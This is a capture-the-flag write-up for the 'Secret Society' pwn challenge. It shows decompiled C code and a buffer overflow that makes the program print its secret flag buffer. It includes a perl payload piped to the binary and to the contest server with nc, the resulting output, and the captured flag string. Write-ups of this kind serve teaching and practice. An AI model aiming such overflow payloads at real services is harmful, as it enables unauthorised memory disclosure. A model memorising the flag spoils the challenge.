CSICTF-Writeups/Pwn/Secret Society/README.md

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## Secret Society
The main idea finding the flag is Buffer Overflow.
#### Step-1:
After I downloaded `secret-society`, I reversed it with IDA, I got this source code:
**main()** function:
```c
undefined8 main(void)
{
size_t sVar1;
undefined8 local_d8 [2];
undefined4 uStack200;
undefined auStack196 [108];
char local_58 [56];
FILE *local_20;
char *local_18;
__gid_t local_c;
setvbuf(stdout,(char *)0x0,2,0);
local_c = getegid();
setresgid(local_c,local_c,local_c);
memset(local_58,0,0x32);
memset(local_d8,0,0x80);
puts("What is the secret phrase?");
fgets((char *)local_d8,0x80,stdin);
local_18 = strchr((char *)local_d8,10);
if (local_18 != (char *)0x0) {
*local_18 = '\0';
}
sVar1 = strlen((char *)local_d8);
*(undefined8 *)((long)local_d8 + sVar1) = 0x657261206577202c;
*(undefined8 *)((long)local_d8 + sVar1 + 8) = 0x6877797265766520;
*(undefined4 *)((long)&uStack200 + sVar1) = 0x2e657265;
auStack196[sVar1] = 0;
local_20 = fopen("flag.txt","r");
if (local_20 == (FILE *)0x0) {
printf("You are a double agent, it\'s game over for you.");
/* WARNING: Subroutine does not return */
exit(0);
}
fgets(local_58,0x32,local_20);
printf("Shhh... don\'t tell anyone else about ");
puts((char *)local_d8);
return 0;
}
```
#### Step-2:
So, basically I had to overflow 3 buffers in above code `local_d8 (16 bytes, our input buffer)`, `uStack200 (4 bytes)` & `auStack196 (108 bytes)`
So I tried using Debugger to get the address of the flag.
```bash
echo flag > flag.txt
perl -e 'print "A"x16 . "B"x4 . "C"x108' | ./secret-society
```
I got this output:
```bash
What is the secret phrase?
Shhh... don't tell anyone else about AAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC,flag
```
#### Step-3:
So, we just have to run this remotely on the web server.
```bash
perl -e 'print "A"x16 . "B"x4 . "C"x108' | nc chall.csivit.com 30041
```
I got this output:
```bash
What is the secret phrase?
Shhh... don't tell anyone else about AAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC,csivit{Bu!!er_e3pl01ts_ar5_5asy}
```
Voila! I got the flag there.
#### Step-4:
Finally the flag becomes:
`csivit{Bu!!er_e3pl01ts_ar5_5asy}`